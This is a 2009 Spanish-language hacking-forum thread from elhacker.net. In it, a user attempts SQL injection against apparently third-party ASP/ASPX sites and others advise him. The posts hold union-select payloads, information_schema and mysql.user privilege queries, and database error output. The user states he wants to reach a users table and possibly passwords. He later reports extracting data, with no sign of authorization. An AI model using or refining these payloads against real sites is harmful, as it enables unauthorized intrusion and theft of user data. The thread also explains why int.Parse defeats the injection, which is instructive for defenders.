elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  SQL injection
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: SQL injection  (Leído 4,839 veces)
franciz

Desconectado Desconectado

Mensajes: 22


Ver Perfil
SQL injection
« en: 18 Septiembre 2009, 01:24 am »

Hola, quisiera ver si es posible hacer un sqli en una pagina.
La direccion es del tipo: http://www.pagina.com/area.aspx?id=1.
Tira error cuando le inserto el ', pero no importa lo que ponga, el error es siempre el mismo:

Código:
Server Error in '/' Application.
Input string was not in a correct format.


Line 34:         if (Request.QueryString["id"] != null)
Line 35:         {
Line 36:             int id = int.Parse(Request.QueryString["id"]);

El servidor es Windows 2003 SP2 con IIS 6, SQL server 2005 y MySQL 5.0.24.

En ese mismo servidor hay otra pagina hosteada que tambien me tira el mismo error siempre, y probando por otro lado me tira este:

Código:
Server Error in '/' Application.
Error converting data type nvarchar to int.

Por lo visto tambien convierte el campo en entero.

Ahora mi pregunta es esta:
ese int.Parse, transforma todo lo que le ponga a un entero, por lo tanto cualquier intento de injection no va a funcionar?

Gracias de antemano
En línea

odeONeSs

Desconectado Desconectado

Mensajes: 125


programo luego existo!


Ver Perfil
Re: SQL injection
« Respuesta #1 en: 18 Septiembre 2009, 01:36 am »

Efectivamente, trasnforma todo a entero, no vas a poder inyectar. Lo raro es que el admin se ha dejado puesto el modo debug xD


Saludos!
En línea

Cambio de firma de prueba
franciz

Desconectado Desconectado

Mensajes: 22


Ver Perfil
Re: SQL injection
« Respuesta #2 en: 18 Septiembre 2009, 01:58 am »

Ok, muchisimas gracias por tu respuesta.
Tambien encontre otra pagina en el mismo server que haciendo un

Código:
union select 1,1,1,1,1,1,1,1,1,1,1,1 from noticias where campo = algo

no me tirara error, por lo tanto descubri la tabla noticias y un par de campos.
El tema es que todos los manuales de sql injection que leo, dicen que mediante los errores te van dando nombres de tablas o de campos. Aca nunca me dio nada de eso, tuve que ir adivinando los nombres.
Pero despues de ahi no se como seguir, me parece que lei en un post de aca que hay que reemplazar uno de los "1" con el nombre del campo o algo por el estilo, pero no encontre ningun manual que me lo explique bien.
Puedo hacer algo con esto mas que leerle las noticias? hay forma de pasar a la tabla de usuarios a partir de esto??
En línea

odeONeSs

Desconectado Desconectado

Mensajes: 125


programo luego existo!


Ver Perfil
Re: SQL injection
« Respuesta #3 en: 18 Septiembre 2009, 02:05 am »

Mira en el schema para obtener tablas y campos, te recomiendo que leas este post
http://foro.elhacker.net/nivel_web/gran_tutorial_sobre_inyecciones_sql_en_mysql-t247535.0.html

Saludos!!
En línea

Cambio de firma de prueba
franciz

Desconectado Desconectado

Mensajes: 22


Ver Perfil
Re: SQL injection
« Respuesta #4 en: 18 Septiembre 2009, 02:09 am »

Que rapidez para contestar!!
gracias, lo voy leyendo y despues comento como salio.
En línea

franciz

Desconectado Desconectado

Mensajes: 22


Ver Perfil
Re: SQL injection
« Respuesta #5 en: 18 Septiembre 2009, 04:35 am »

Hace 2 horas que estoy leyendo tutos y haciendo pruebas y no doy pie con bola...
escribo mis resultados (que son pocos):

http://pagina.com.uy/paginirigilla.asp?id=-1+union+all+select 1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.user_privileges#
Código:
[Microsoft][ODBC Microsoft Access Driver] Could not find file 'C:\WINDOWS\SysWOW64\inetsrv\information_schema.mdb'.
lo mismo para mysql.user.


http://pagina.com.uy/paginirigilla.asp?id=-1 union select 1,current_user(),1,1,1,1,1,1,1,1,1,1,1,1 from usuarios where id = 1#
Código:
[Microsoft][ODBC Microsoft Access Driver] Undefined function 'current_user' in epresionje.
Lo mismo con unhex(), version(), database(), current_user(), USER(), last_insert_id(), columna AUTO_INCREMENT, connection_id(), char(), load_file().
la funcion hex() no me tiro error o.0

La ' no parece tener efecto, ya que:
http://pagina.com.uy/paginirigilla.asp?id=1'''''#
Código:
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query epresionje 'DATO1 = 1'''''' OR DATO2 = 1''''
'''.
Me la integra en el campo.

Siempre que hago un select tengo que tener un from y un where sino tira estos errores respectivamente:
Código:
[Microsoft][ODBC Microsoft Access Driver] Query input must contain at least one table or query.
Código:
[Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause.

Con la unica que tuve suerte es con esta:
http://pagina.com.uy/paginirigilla.asp?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1 from usuarios where id =1
Código:
[Microsoft][ODBC Microsoft Access Driver] Too few parameters. Expected 1.
Tabla usuarios con 14 campos y algunos de ellos son id, nombre, apellido y pais.

El problema es que no se como arrancar con esta info, si alguno pudiera indicarme el camino o mostrarme algun tuto que sea parecido a esto. No pido que me lo resuelvan, sino nunca voy a aprender :)


PD: me olvidaba de preguntar, esta pagina es la pagina de un usuario del servidor, por lo tanto debe tener pocos privilegios... ¿se puede llegar a algun lado desde aca?


EDIT:Aaaaaaaaaahhhhhh aparentemente, esta pagina una base de datos ACCESS, por eso no me servian los tutoriales que leia.
Igual estoy leyendo injection en bases access y tampoco me funcionan  :-(
« Última modificación: 18 Septiembre 2009, 05:47 am por franciz » En línea

Darioxhcx


Desconectado Desconectado

Mensajes: 2.294


Ver Perfil
Re: SQL injection
« Respuesta #6 en: 18 Septiembre 2009, 09:08 am »

http://milw0rm.com/papers/279

suerte
saludos
En línea

franciz

Desconectado Desconectado

Mensajes: 22


Ver Perfil
Re: SQL injection
« Respuesta #7 en: 19 Septiembre 2009, 06:21 am »

Darioxhcx, ese paper es para inyecciones SQL, resulta que esta pagina usaba ACCESS.

Al final pude sacar datos, pero esa tabla usuarios no tiene nada importante...
El problema que tenia es que ninguno de los caracteres que ingreso corta la inyeccion, no funcionan ni el ', #, --, %00 ni 200 mas que probe. Como en esa consulta donde queria inyectar hacia 2 comprobaciones, no funcionaba.
Probe en otro asp vulnerable y andaba perfecto, lastima que sacaba comentarios e info sin importancia (me falto adivinar el nombre de 5 campos, puede que 1 tenga contraseñas).
Gracias a todos por su ayuda.

[editado]
No se pueden hacer este tipo de ofrecimientos acá.
« Última modificación: 19 Septiembre 2009, 08:12 am por WHK » En línea

MagnoBalt

Desconectado Desconectado

Mensajes: 58


Los Buenos Artitas Copian, los Grandes Roban


Ver Perfil
Re: SQL injection
« Respuesta #8 en: 20 Septiembre 2009, 07:27 am »

Citar
Darioxhcx, ese paper es para inyecciones SQL, resulta que esta pagina usaba ACCESS.

En realidad bro ACCESS maneja tambien SQL, lo que Darioxhcx te ha pasado es un paper que si bien es para inyecciones en SQL esta basado para el Motor MYSQL


Saludos
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines